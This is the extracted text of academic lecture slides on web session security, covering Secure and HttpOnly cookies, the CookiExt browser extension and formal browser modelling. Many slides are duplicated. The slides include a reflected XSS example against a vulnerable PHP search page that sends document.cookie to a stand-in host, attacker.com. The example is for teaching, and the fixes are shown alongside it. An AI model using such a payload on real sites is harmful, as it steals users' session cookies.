Formal Methods for Web Session Security - Sysma...

63
Formal Methods for Web Session Security Stefano Calzavara Universit` a Ca’ Foscari Venezia Dipartimento di Scienze Ambientali, Informatica e Statistica Meeting CINA @ Civitanova Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 0 / 29

Transcript of Formal Methods for Web Session Security - Sysma...

Page 1: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Formal Methods for Web Session Security

Stefano Calzavara

Universita Ca’ Foscari VeneziaDipartimento di Scienze Ambientali, Informatica e Statistica

Meeting CINA @ Civitanova

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 0 / 29

Page 2: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Table of Contents

Outline

1 Web Sessions: Attacks and Defenses

2 CookiExt: Provably Sound Protection Against Session Hijacking

3 Beyond CookiExt

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 1 / 29

Page 3: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Outline

1 Web Sessions: Attacks and Defenses

2 CookiExt: Provably Sound Protection Against Session Hijacking

3 Beyond CookiExt

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 2 / 29

Page 4: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Web Sessions

The HTTP protocol is stateless by design

⇒ each request = an independent transaction

⇒ message flow = sequence of independent request-response pairs

The HTTP protocol does not provide authentication

⇒ the client does not know the server and vice-versa

⇒ server authentication: HTTPS + certificates

Web Sessions

Implementation of a stateful and authenticated communication paradigmon top of HTTP(S)

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 3 / 29

Page 5: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Web Sessions

The HTTP protocol is stateless by design

⇒ each request = an independent transaction

⇒ message flow = sequence of independent request-response pairs

The HTTP protocol does not provide authentication

⇒ the client does not know the server and vice-versa

⇒ server authentication: HTTPS + certificates

Web Sessions

Implementation of a stateful and authenticated communication paradigmon top of HTTP(S)

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 3 / 29

Page 6: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Web Sessions

The HTTP protocol is stateless by design

⇒ each request = an independent transaction

⇒ message flow = sequence of independent request-response pairs

The HTTP protocol does not provide authentication

⇒ the client does not know the server and vice-versa

⇒ server authentication: HTTPS + certificates

Web Sessions

Implementation of a stateful and authenticated communication paradigmon top of HTTP(S)

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 3 / 29

Page 7: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Example: Web Sessions

Browser Server S

enter pwd

login pwd

[set c] OK

OKc :S

open page at S

[c]req page S

account page

render page

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 4 / 29

Page 8: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Securing Web Sessions

Web sessions are surprisingly hard to get right!

A Funny Quote

If used in its default configuration without additional protection measures,today’s Web authentication almost appears to be an exercise indemonstrating how an authentication process should not be realized [6].

Naive Perspective

HTTPS with trusted certificates is the solution

3 end-to-end confidentiality and integrity (with freshness)

5 partial HTTPS support complicates the picture

5 network attacks are only part of the problem (e.g., XSS)

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 5 / 29

Page 9: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Securing Web Sessions

Web sessions are surprisingly hard to get right!

A Funny Quote

If used in its default configuration without additional protection measures,today’s Web authentication almost appears to be an exercise indemonstrating how an authentication process should not be realized [6].

Naive Perspective

HTTPS with trusted certificates is the solution

3 end-to-end confidentiality and integrity (with freshness)

5 partial HTTPS support complicates the picture

5 network attacks are only part of the problem (e.g., XSS)

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 5 / 29

Page 10: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Securing Web Sessions

Web sessions are surprisingly hard to get right!

A Funny Quote

If used in its default configuration without additional protection measures,today’s Web authentication almost appears to be an exercise indemonstrating how an authentication process should not be realized [6].

Naive Perspective

HTTPS with trusted certificates is the solution

3 end-to-end confidentiality and integrity (with freshness)

5 partial HTTPS support complicates the picture

5 network attacks are only part of the problem (e.g., XSS)

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 5 / 29

Page 11: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Securing Web Sessions

Web sessions are surprisingly hard to get right!

A Funny Quote

If used in its default configuration without additional protection measures,today’s Web authentication almost appears to be an exercise indemonstrating how an authentication process should not be realized [6].

Naive Perspective

HTTPS with trusted certificates is the solution

3 end-to-end confidentiality and integrity (with freshness)

5 partial HTTPS support complicates the picture

5 network attacks are only part of the problem (e.g., XSS)

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 5 / 29

Page 12: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Web Sessions... with Guests!

Assumption: only initial password authentication over HTTPS

Browser Attacker Server S

enter pwd

login pwd

[set c] OK

OKc :S

open page at S

[c]req page

[c]req page S

account page

fake page

render fake page

Lesson Learned

Okay then, let’s go with full HTTPS deployment!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 6 / 29

Page 13: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Web Sessions... with Guests!

Assumption: only initial password authentication over HTTPS

Browser Attacker Server S

enter pwd

login pwd

[set c] OK

OKc :S

open page at S

[c]req page

[c]req page S

account page

fake page

render fake page

Lesson Learned

Okay then, let’s go with full HTTPS deployment!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 6 / 29

Page 14: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Uh, oh... Sidestepping HTTPS

The large majority of the HTTPS websites can be contacted on HTTP

example: all HTTP requests to Facebook are redirected to HTTPS

... why?

Quiz

What do you type in your browser address bar?

1 www.facebook.com

2 https://www.facebook.com

... can this be exploited by an attacker?

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 7 / 29

Page 15: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Uh, oh... Sidestepping HTTPS

The large majority of the HTTPS websites can be contacted on HTTP

example: all HTTP requests to Facebook are redirected to HTTPS

... why?

Quiz

What do you type in your browser address bar?

1 www.facebook.com

2 https://www.facebook.com

... can this be exploited by an attacker?

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 7 / 29

Page 16: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Uh, oh... Sidestepping HTTPS

The large majority of the HTTPS websites can be contacted on HTTP

example: all HTTP requests to Facebook are redirected to HTTPS

... why?

Quiz

What do you type in your browser address bar?

1 www.facebook.com

2 https://www.facebook.com

... can this be exploited by an attacker?

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 7 / 29

Page 17: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Leaking Cookies in Clear!

Assumption: HTTP accesses redirected to HTTPS

Browser Facebook

enter pwd

login pwd

[set c] OK

OKc :S

open Facebook page

[c]req u S

redirect on HTTPS[c]req u S

personal page

render page

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 8 / 29

Page 18: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Fixing the Flaw

The simplest solution against the problem is to use Secure cookies

Secure Cookies

Secure cookies are never sent by the browser over HTTP connections

3 a simple 1-bit change

Relax: Facebook actually adopts Secure cookies! :)

Lesson Learned

Okay then, let’s go with full HTTPS deployment and Secure cookies!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 9 / 29

Page 19: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Fixing the Flaw

The simplest solution against the problem is to use Secure cookies

Secure Cookies

Secure cookies are never sent by the browser over HTTP connections

3 a simple 1-bit change

Relax: Facebook actually adopts Secure cookies! :)

Lesson Learned

Okay then, let’s go with full HTTPS deployment and Secure cookies!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 9 / 29

Page 20: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Web Attacks: XSS

Search Engine at https://weak.com

<?php

session_start ();

...

$query = $_GET [’q’];

print "Search results for: <u> $query </u>";

...

?>

Attack!

https://weak.com/search.php?q=</u><script>

document.write (’<img src = "http://attacker.com/

leak.php?ck =’ + document.cookie + ’">’);

</script>

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 10 / 29

Page 21: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Web Attacks: XSS

Search Engine at https://weak.com

<?php

session_start ();

...

$query = $_GET [’q’];

print "Search results for: <u> $query </u>";

...

?>

Attack!

https://weak.com/search.php?q=</u><script>

document.write (’<img src = "http://attacker.com/

leak.php?ck =’ + document.cookie + ’">’);

</script>

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 10 / 29

Page 22: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Fixing the Attack

Fixing the Server: Sanitization

<?php

session_start ();

...

$query = strip_tags ($_GET [’q’]);

print "Search results for: <u> $query </u>"; %$

...

?>

Pros and Cons

3 fix the root cause of the vulnerability

5 sanitization can be much harder than this (and difficult to assess)

5 often long time between notification and fix

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 11 / 29

Page 23: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Fixing the Attack

Fixing the Server: Sanitization

<?php

session_start ();

...

$query = strip_tags ($_GET [’q’]);

print "Search results for: <u> $query </u>"; %$

...

?>

Pros and Cons

3 fix the root cause of the vulnerability

5 sanitization can be much harder than this (and difficult to assess)

5 often long time between notification and fix

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 11 / 29

Page 24: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Fixing the Attack... at the Client Side!

https://weak.com/search.php?q=</u><script>

document.write (’<img src = "http://attacker.com/

leak.php?ck =’ + document.cookie + ’">’);

</script>

Fixing the Client: HttpOnly Cookies

HttpOnly cookies can never be accessed by JavaScript

3 a simple 1-bit change

5 XSS attacks go well beyond cookies

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 12 / 29

Page 25: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Fixing the Attack... at the Client Side!

https://weak.com/search.php?q=</u><script>

document.write (’<img src = "http://attacker.com/

leak.php?ck =’ + document.cookie + ’">’);

</script>

Fixing the Client: HttpOnly Cookies

HttpOnly cookies can never be accessed by JavaScript

3 a simple 1-bit change

5 XSS attacks go well beyond cookies

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 12 / 29

Page 26: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Client-side Defenses for Web Sessions

The HttpOnly and Secure attributes specify a client-side security policy

the browser rectifies some security flaws affecting the server

a very active research area also in the industry

Content Security Policy (CSP)HTTP Strict Transport Security (HSTS)NoScript / ABE

Our Contributions

Browser extensions for web session security:

CookiExt [2], SessInt [3] and MiChrome [4]

... all with formal security proofs

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 13 / 29

Page 27: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

Web Sessions: Attacks and Defenses

Client-side Defenses for Web Sessions

The HttpOnly and Secure attributes specify a client-side security policy

the browser rectifies some security flaws affecting the server

a very active research area also in the industry

Content Security Policy (CSP)HTTP Strict Transport Security (HSTS)NoScript / ABE

Our Contributions

Browser extensions for web session security:

CookiExt [2], SessInt [3] and MiChrome [4]

... all with formal security proofs

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 13 / 29

Page 28: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Outline

1 Web Sessions: Attacks and Defenses

2 CookiExt: Provably Sound Protection Against Session Hijacking

3 Beyond CookiExt

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 14 / 29

Page 29: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Session Cookie Protection in the Web

How do Alexa-ranked top 1000 websites protect their session cookies?

HttpOnly Secure #cookies percentage

yes yes 32 2.81%

yes no 284 24.96%

no yes 10 0.88%

no no 812 71.35%

... and 141 out of 192 HTTPS websites (73.44%) contain at least oneHTTP link to the same domain hard-coded in their homepage!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 15 / 29

Page 30: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Session Cookie Protection in the Web

How do Alexa-ranked top 1000 websites protect their session cookies?

HttpOnly Secure #cookies percentage

yes yes 32 2.81%

yes no 284 24.96%

no yes 10 0.88%

no no 812 71.35%

... and 141 out of 192 HTTPS websites (73.44%) contain at least oneHTTP link to the same domain hard-coded in their homepage!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 15 / 29

Page 31: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

CookiExt: Overview

CookiExt is a Chrome extension aimed at protecting session cookies:

when a HTTP(S) response is received by the browser, identify thesession cookies using a heuristics

if the response is on HTTP, apply the HttpOnly attribute

if the response is on HTTPS, apply both HttpOnly and Secure

... and force an upgrade to HTTPS for future interactions

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 16 / 29

Page 32: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

CookiExt: Overview

CookiExt is a Chrome extension aimed at protecting session cookies:

when a HTTP(S) response is received by the browser, identify thesession cookies using a heuristics

if the response is on HTTP, apply the HttpOnly attribute

if the response is on HTTPS, apply both HttpOnly and Secure

... and force an upgrade to HTTPS for future interactions

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 16 / 29

Page 33: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Detecting Session Cookies (1/2)

Heuristic

A cookie is marked as a session cookie if either of the following holds:

its name contains the strings sess or sid

its value contains at least 10 chars and is “random enough”

Devised after preliminary investigation on known websites

Impact of the Heuristic

The heuristic plays a prominent role:

false negatives: security flaws

false positives: usability issues

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 17 / 29

Page 34: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Detecting Session Cookies (1/2)

Heuristic

A cookie is marked as a session cookie if either of the following holds:

its name contains the strings sess or sid

its value contains at least 10 chars and is “random enough”

Devised after preliminary investigation on known websites

Impact of the Heuristic

The heuristic plays a prominent role:

false negatives: security flaws

false positives: usability issues

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 17 / 29

Page 35: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Detecting Session Cookies (2/2)

Research Question

Can we accurately detect session cookies at the client side? [5]

0

0.2

0.4

0.6

0.8

1

Shield Serene CookieExt Zan FT

SpecificitySensitivity

F-measure

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 18 / 29

Page 36: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Detecting Session Cookies (2/2)

Research Question

Can we accurately detect session cookies at the client side? [5]

0

0.2

0.4

0.6

0.8

1

Shield Serene CookieExt Zan FT

SpecificitySensitivity

F-measure

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 18 / 29

Page 37: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (1/2)

Example: Online Store

Website structure:

HTTPS support for login and private area

only HTTP support for the catalog

What happens if we navigate such a website with CookiExt?

Simulating CookiExt (Initial Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog... BOOM!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 19 / 29

Page 38: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (1/2)

Example: Online Store

Website structure:

HTTPS support for login and private area

only HTTP support for the catalog

What happens if we navigate such a website with CookiExt?

Simulating CookiExt (Initial Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog... BOOM!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 19 / 29

Page 39: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (1/2)

Example: Online Store

Website structure:

HTTPS support for login and private area

only HTTP support for the catalog

What happens if we navigate such a website with CookiExt?

Simulating CookiExt (Initial Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog... BOOM!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 19 / 29

Page 40: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (1/2)

Example: Online Store

Website structure:

HTTPS support for login and private area

only HTTP support for the catalog

What happens if we navigate such a website with CookiExt?

Simulating CookiExt (Initial Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog... BOOM!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 19 / 29

Page 41: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (1/2)

Example: Online Store

Website structure:

HTTPS support for login and private area

only HTTP support for the catalog

What happens if we navigate such a website with CookiExt?

Simulating CookiExt (Initial Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog... BOOM!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 19 / 29

Page 42: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (1/2)

Example: Online Store

Website structure:

HTTPS support for login and private area

only HTTP support for the catalog

What happens if we navigate such a website with CookiExt?

Simulating CookiExt (Initial Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog... BOOM!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 19 / 29

Page 43: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (2/2)

Recall: authentication over HTTPS, catalog over HTTP

Simulating CookiExt (Final Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog and detect lack of HTTPS support

6 adopt a fallback to HTTP

7 ... after removing the Secure attribute from the session cookie!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 20 / 29

Page 44: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (2/2)

Recall: authentication over HTTPS, catalog over HTTP

Simulating CookiExt (Final Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog and detect lack of HTTPS support

6 adopt a fallback to HTTP

7 ... after removing the Secure attribute from the session cookie!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 20 / 29

Page 45: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (2/2)

Recall: authentication over HTTPS, catalog over HTTP

Simulating CookiExt (Final Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog and detect lack of HTTPS support

6 adopt a fallback to HTTP

7 ... after removing the Secure attribute from the session cookie!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 20 / 29

Page 46: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Challenge: Supporting Mixed Contents Websites (2/2)

Recall: authentication over HTTPS, catalog over HTTP

Simulating CookiExt (Final Design)

1 submit the password over HTTPS

2 get the response over HTTPS with the session cookie

3 mark the session cookie as HttpOnly and Secure

4 force communication over HTTPS

5 navigate the catalog and detect lack of HTTPS support

6 adopt a fallback to HTTP

7 ... after removing the Secure attribute from the session cookie!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 20 / 29

Page 47: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Experimental Results

A test on the Alexa top 100 websites

HttpOnly Secure #cookies Percentage

* * 92 30.4%

* 97 32.0%

* 19 6.3%

95 31.3%

10 out of 34 mixed HTTP/HTTPS websites entirely navigated on HTTPS!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 21 / 29

Page 48: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Experimental Results

A test on the Alexa top 100 websites

HttpOnly Secure #cookies Percentage

* * 92 30.4%

* 97 32.0%

* 19 6.3%

95 31.3%

10 out of 34 mixed HTTP/HTTPS websites entirely navigated on HTTPS!

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 21 / 29

Page 49: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Formal Modelling

Featherweight Firefox

A core model of a web browser proposed by Bohannon and Pierce [1]

developed in Coq

browser = reactive system

security = reactive non-interference

We extend Featherweight Firefox to include:

1 support for HTTPS communication

2 HttpOnly and Secure cookies

3 support for HTTP(S) redirects

Stefano Calzavara (DAIS, Unive) Formal Methods for Web Session Security 21 January 2016 22 / 29

Page 50: Formal Methods for Web Session Security - Sysma Unit|sysma.imtlucca.it/cina/lib/exe/fetch.php?media=calzavara.pdf · Formal Methods for Web Session Security Stefano Calzavara Universit

CookiExt: Provably Sound Protection Against Session Hijacking

Formal Modelling

Featherweight Firefox

A core model of a web browser proposed by Bohannon and Pierce [1]

developed in Coq

browser = reactive system

security = reactive non-interference

We extend Featherweight Firefox to include:

1 support for HTTPS communication

2 HttpOnly and Secure cookies

